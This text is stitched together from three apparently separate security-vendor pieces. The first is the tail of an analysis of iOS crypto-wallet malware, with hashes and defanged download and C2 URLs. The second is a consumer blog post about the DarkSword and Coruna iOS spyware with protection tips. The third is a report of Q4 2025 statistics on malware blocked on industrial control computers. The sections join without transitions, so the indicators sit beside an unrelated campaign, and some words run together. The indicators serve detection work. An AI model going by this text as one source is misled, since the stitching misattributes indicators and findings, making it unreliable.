• Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
• Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
• Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.

Indicators of compromise

Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz

DarkSword and Coruna are two new tools for invisible attacks on iOS devices. These attacks require no user interaction and are already being actively used by bad actors in the wild. Before these threats emerged, most iPhone users didn’t have to lose sleep over their data security. Protection was really only a major concern for a narrow group — politicians, activists, diplomats, high-level business execs, and others who handle extremely sensitive data — who might be targeted by foreign intelligence agencies. We’ve covered sophisticated spyware used against such a group before — noting how hard to come by those tools were.

However, DarkSword and Coruna — discovered by researchers earlier this year — are total game-changers. This malware is being used for mass infections of everyday users. In this post, we dive into why this shift happened, why these tools are so dangerous, and how you can stay protected.

What we know about DarkSword, and how it can target your iPhone

In mid-March 2026, three separate research teams coordinated the release of their findings on a new spyware strain called DarkSword. This tool is capable of silently hacking devices running iOS 18 without the user ever knowing something is wrong.

First, we should clear up some confusion: iOS 18 isn’t as vintage as it might sound. Even though the latest version is iOS 26, Apple recently overhauled its versioning system, which threw everyone for a loop. They decided to jump ahead eight versions — from 18 straight to 26 — so the OS number matches the current year. Despite the jump, Apple estimates that about a quarter of all active devices still run iOS 18 or older.

With that cleared up, let’s get back to DarkSword. Research shows that this malware infects victims when they visit perfectly legitimate websites that have been injected with malicious code. The spyware installs itself without any user interaction at all: you just have to land on a compromised page. This is what’s known as a zero-click infection technique. Researchers report that several thousand devices have already been hit this way.

To compromise a device, DarkSword uses a six-vulnerability exploit chain to escape the sandbox, escalate privileges, and execute code. Once it’s in, the malware harvests data from the infected device, including:

• Passwords
• Photos
• Chats and data from iMessage, WhatsApp, and Telegram
• Browser history
• Information from Apple’s Calendar, Notes, and Health apps

On top of all that, DarkSword lets attackers scoop up crypto-wallet data, making it essentially dual-purpose malware that functions as both a spy tool and a way to drain your crypto.

The only bit of good news is that the spyware doesn’t survive a reboot. DarkSword is fileless malware, meaning it lives in the device’s RAM, and never actually embeds itself into the file system.

Coruna: how older iOS versions are being targeted

Just two weeks before the DarkSword findings went public, researchers flagged another iOS threat dubbed Coruna. This malware is capable of compromising devices running older software — specifically iOS 13 through 17.2.1. Coruna uses the exact same playbook as DarkSword: victims visit a legitimate site injected with malicious code which then drops the malware onto the device. The whole process is completely invisible and requires zero user interaction.

A deep dive into Coruna’s code revealed it exploits a total of 23 different iOS vulnerabilities, several of which are tucked away in Apple’s WebKit. It’s worth reminding that, generally speaking (outside the EU), all iOS browsers are required to use the WebKit engine. This means these vulnerabilities don’t just affect Safari users — they’re a threat to anyone using a third-party browser on their iPhone as well.

The latest version of Coruna, much like DarkSword, includes modifications designed to drain crypto wallets. It also harvests photos and, in certain instances, email data. From what we can tell, stealing cryptocurrency seems to be the primary motive behind Coruna’s widespread deployment.

Who created Coruna and DarkSword — and how did they end up in the wild?

Code analysis of both tools suggests that Coruna and DarkSword were likely built by different developers. However, in both cases, we’re looking at software originally created by state-affiliated companies, possibly from the U.S. The high quality of the code points to this; these aren’t just Frankenstein kits cobbled together from random parts, but uniformly engineered exploits. Somewhere along the line, these tools leaked into the hands of cybercrime gangs.

Experts at Kaspersky’s GReAT analyzed all of Coruna’s components and confirmed that this exploit kit is actually an updated version of the framework used in Operation Triangulation. That earlier attack targeted Kaspersky employees, a story we covered in detail on this blog.

One theory suggests an employee at the company that developed Coruna sold it to hackers. Since then, the malware has been used to drain crypto wallets belonging to users in China; experts estimate that at least 42 000 devices were infected there alone.

As for DarkSword, cybercriminals have already used it to compromise users in Saudi Arabia, Turkey, and Malaysia. The problem is exacerbated by the fact that the attackers who first deployed DarkSword left the full source code on infected websites, meaning it could easily be picked up by other criminal groups.

The code also includes detailed comments in English explaining exactly what each component does, which supports the theory of its Western origins. These step-by-step instructions make it easy for other hackers to adapt the tool for their own purposes.

How to protect yourself from Coruna and DarkSword

Serious malware that allows for the mass infection of iPhones while requiring zero interaction from the user has now landed in the hands of an essentially unlimited pool of cybercriminals. To pick up Coruna or DarkSword, you simply have to visit the wrong site at the wrong time. So this is one of those cases where every user needs to take iOS security seriously — not just those in high-risk groups.

The best thing you can do to protect yourself from Coruna and DarkSword is to update your devices to the latest version of iOS or iPadOS 26, as soon as you can. If you can’t update to the newest software — for instance, if your device is older and doesn’t support iOS 26 — you should still install the latest version available to you. Specifically, look for versions 15.8.7, 16.7.15, or 18.7.7. In a rare move, Apple patched a wide range of older operating systems.

To protect your Apple devices from similar malware that will likely pop up in the future, we recommend the following:

• Install updates promptly on all your Apple devices. The company regularly releases OS versions that patch known vulnerabilities — don’t skip them.
• Enable Background Security Improvements. This feature allows your device to receive critical security fixes separately from full iOS updates, reducing the window for hackers to exploit vulnerabilities. To enable it, go to Settings → Privacy & Security → Background Security Improvements and turn on the Automatically Install
• Consider using Lockdown Mode. This is a heightened security setting that limits some device features but simultaneously blocks or significantly complicates attacks. To enable this, go to Settings → Privacy & Security → Lockdown Mode → Turn On Lockdown Mode.
• Reboot your device once a day (or more). This stops fileless malware in its tracks, since these threats aren’t embedded in the system and disappear after a restart.
• Use encrypted storage for sensitive data. Keep things like crypto wallet keys, photos of IDs, and confidential info in a secure vault. Kaspersky Password Manager is a great fit for this; it manages your passwords, two-factor authentication tokens, and passkeys across all your devices while also keeping your notes, photos, and docs synced and encrypted.

The idea that Apple devices are bulletproof is a myth. They’re vulnerable to zero-click attacks, Trojans, and ClickFix infection techniques — and we’ve even seen malicious apps slip into the App Store more than once. Read more here:

• Predator vs. iPhone: the art of invisible surveillance
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Are your Bluetooth headphones spying on you?
• SparkCat trojan stealer infiltrates App Store and Google Play, steals data from photos
• Banshee: A stealer targeting macOS users

Statistics across all threats

The percentage of ICS computers on which malicious objects were blocked has been decreasing since the beginning of 2024. In Q4 2025, it was 19.7%. Over the past three years, the percentage has decreased by 1.36 times, and by 1.25 times since Q4 2023.

Regionally, in Q4 2025, the percentage of ICS computers on which malicious objects were blocked ranged from 8.5% in Northern Europe to 27.3% in Africa.

Four regions saw an increase in the percentage of ICS computers on which malicious objects were blocked. The most notable increases occurred in Southern Europe and South Asia. In Q3 2025, East Asia experienced a sharp increase triggered by the local spread of malicious scripts, but the figure has since returned to normal.

Feature of the quarter: worms in email

In Q4 2025, the percentage of ICS computers on which wormsinemailattachments were blocked increasedinallregions of the world.

Many of the blocked threats were related to the worm Backdoor.MSIL.XWorm. This malware is designed to persist on the system and then remotely control it.

Interestingly, this threat was not detected on ICS computers in the previous quarter, yet it appeared in all regions in Q4 2025.

A study found that the active spread of Backdoor.MSIL.XWorm via phishing emails was likely linked to the use by hackers of another malware obfuscation technique that was actively used during massive phishing campaigns in Q4 2025. These campaigns have been known since 2024 as “Curriculum-vitae-catalina”.

The attackers distributed phishing emails to HR managers, recruiters, and employees responsible for hiring. The messages were disguised as responses from job applicants with subjects such as “Resume” or “Attached Resume” and contained a malicious executable file under the guise of a curriculum vitae. Typically, the file was named Curriculum Vitae-Catalina.exe. When executed, it infected the system.

In Q4 2025, the threat spread across regions in two waves — one in October and another in November. Russia, Western Europe, South America, and North America (Canada) were attacked in October. A spike in Backdoor.MSIL.XWorm blocking was observed in other regions in November. The attack subsided in all regions in December.

The highest percentage of ICS computers on which Backdoor.MSIL.XWorm was blocked was observed in regions where threats from email clients had been historically blocked at high rates on ICS computers: Southern Europe, South America, and the Middle East.

At the same time, in Africa, where USB storage media are still actively used, the threat was also detected when removable devices were connected to ICS computers.

Selected industries

The biometrics sector has historically led the rankings of industries and OT infrastructures surveyed in this report in terms of the percentage of ICS computers on which malicious objects were blocked.

These systems are characterized by accessibility to and from the internet, as well as minimal cybersecurity controls by the consumer organization.

In Q4 2025, the percentage of ICS computers on which malicious objects were blocked increased only in one sector: oil and gas. The corresponding figures increased in two regions: Russia, and Central Asia and the South Caucasus.

However, if we look at a broader time span, there is a downward trend in all the surveyed industries.

Diversity of detected malicious objects

In Q4 2025, Kaspersky protection solutions blocked malware from 10,142 different malware families of various categories on industrial automation systems.

In Q4 2025, there was an increase in the percentage of ICS computers on which worms, and miners in the form of executable files for Windows were blocked. These were the only categories that exhibited an increase.

Main threat sources

Depending on the threat detection and blocking scenario, it is not always possible to reliably identify the source. The circumstantial evidence for a specific source can be the blocked threat’s type (category).

The internet (visiting malicious or compromised internet resources; malicious content distributed via messengers; cloud data storage and processing services and CDNs), email clients (phishing emails), and removable storage devices remain the primary sources of threats to computers in an organization’s technology infrastructure.

In Q4 2025, the percentage of ICS computers on which malicious objects from various sources were blocked decreased. All sources except email clients saw their lowest levels in three years.

The same computer can be attacked by several categories of malware from the same source during a quarter. That computer is counted when calculating the percentage of attacked computers for each threat category, but is only counted once for the threat source (we count unique attacked computers). In addition, it is not always possible to accurately determine the initial infection attempt. Therefore, the total percentage of ICS computers on which various categories of threats from a certain source were blocked can exceed the percentage of computers affected by the source itself.

• In Q4 2025, the percentage of ICS computers on which threats from the internet were blocked decreased to 7.67% and reached its lowest level since the beginning of 2023. The main categories of internet threats are malicious scripts and phishing pages, and denylisted internet resources. The percentage ranged from 3.96% in Northern Europe to 11.33% in South Asia.
• The main categories of threats from email clients blocked on ICS computers were malicious scripts and phishing pages, spyware, and malicious documents. Most of the spyware detected in phishing emails was delivered as a password archive or a multi-layered script embedded in office document files. The percentage of ICS computers on which threats from email clients were blocked ranged from 0.64% in Northern Europe to 6.34% in Southern Europe.
• The main categories of threats that were blocked when removable media was connected to ICS computers were worms, viruses, and spyware. The percentage of ICS computers on which threats from removable media were blocked ranged from 0.05% in Australia and New Zealand to 1.41% in Africa.
• The main categories of threats that spread through network folders in Q4 2025 were viruses, AutoCAD malware, worms, and spyware. The percentage of ICS computers on which threats from network folders were blocked ranged from 0.01% in Northern Europe to 0.18% in East Asia.

Threat categories

Typical attacks blocked within an OT network are multi-step sequences of malicious activities, where each subsequent step of the attackers is aimed at increasing privileges and/or gaining access to other systems by exploiting the security problems of industrial enterprises, including OT infrastructures.

Malicious objects used for initial infection

In Q4 2025, the percentage of ICS computers on which denylisted internet resources were blocked decreased to 3.26%. This is the lowest quarterly figure since the beginning of 2022, and it has decreased by 1.8 times since Q2 2025.

Regionally, the percentage of ICS computers on which denylisted internet resources were blocked ranged from 1.74% in Northern Europe to 3.93% in Southeast Asia, which displaced Africa from first place. Russia rounded out the top three regions for this indicator.

The percentage of ICS computers on which malicious documents were blocked increased for three consecutive quarters. However, in Q4 2025 it decreased by 0.22 pp to 1.76%.

Regionally, the percentage ranged from 0.46% in Northern Europe to 3.82% in Southern Europe. In Q4 2025, the indicator increased in Eastern Europe, Russia, and Western Europe.

The percentage of ICS computers on which malicious scripts and phishing pages were blocked decreased to 6.58%. Despite the decline, this category led the rankings of threat categories in terms of the percentage of ICS computers on which they were blocked.

Regionally, the percentage ranged from 2.52% in Northern Europe to 10.50% in South Asia. The indicator increased in South Asia, South America, Southern Europe, and Africa. South Asia saw the most notable increase, at 3.47 pp.

Next-stage malware

Malicious objects used to initially infect computers deliver next-stage malware — spyware, ransomware, and miners — to victims’ computers. As a rule, the higher the percentage of ICS computers on which the initial infection malware is blocked, the higher the percentage for next-stage malware.

In Q4 2025, the percentage of ICS computers on which spyware, ransomware and web miners were blocked decreased. The rates were:

• Spyware: 3.80% (down 0.24 pp). For the second quarter in a row, spyware took second place in the rankings of threat categories in terms of the percentage of ICS computers on which it was blocked.
• Ransomware: 0.16% (down 0.01 pp).
• Web miners: 0.24% (down 0.01 pp), this is the lowest level observed thus far in the period under review.

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked increased to 0.60% (up 0.03 pp).

Self-propagating malware

Self-propagating malware (worms and viruses) is a category unto itself. Worms and virus-infected files were originally used for initial infection, but as botnet functionality evolved, they took on next-stage characteristics.

To spread across ICS networks, viruses and worms rely on removable media and network folders and are distributed in the form of infected files, such as archives with backups, office documents, pirated games and hacked applications. In rarer and more dangerous cases, web pages with network equipment settings, as well as files stored in internal document management systems, product lifecycle management (PLM) systems, resource management (ERP) systems and other web services are infected.

In Q4 2025, the percentage of ICS computers on which worms were blocked increased by 1.6 times to 1.60%. As mentioned above, this increase is related to a global phishing attack that spread the Backdoor.MSIL.XWorm backdoor worm across all regions of the world. The percentage increased in all regions. The biggest increase (up by 2.16 times) was in Southern Europe. The malware was primary distributed through email clients, and Southern Europe led the way in terms of the percentage of ICS computers on which threats from email clients were blocked.

The percentage of ICS computers on which viruses were blocked decreased to 1.33%.

AutoCAD malware

This category of malware can spread in a variety of ways, so it does not belong to a specific group.

After an increase in the previous quarter, the percentage of ICS computers on which AutoCAD malware was blocked decreased to 0.29% in Q4 2025.

For more information on industrial threats see the full version of the report.